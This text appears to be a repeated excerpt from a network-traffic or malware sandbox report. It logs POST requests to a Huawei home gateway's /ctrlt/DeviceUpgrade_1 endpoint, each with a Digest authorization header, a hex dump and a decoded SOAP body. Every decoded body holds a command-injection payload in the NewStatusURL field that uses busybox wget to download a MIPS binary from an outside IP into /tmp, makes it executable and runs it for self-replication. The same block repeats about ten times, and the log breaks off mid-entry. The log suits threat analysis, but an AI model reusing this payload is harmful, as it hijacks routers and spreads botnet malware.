65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope 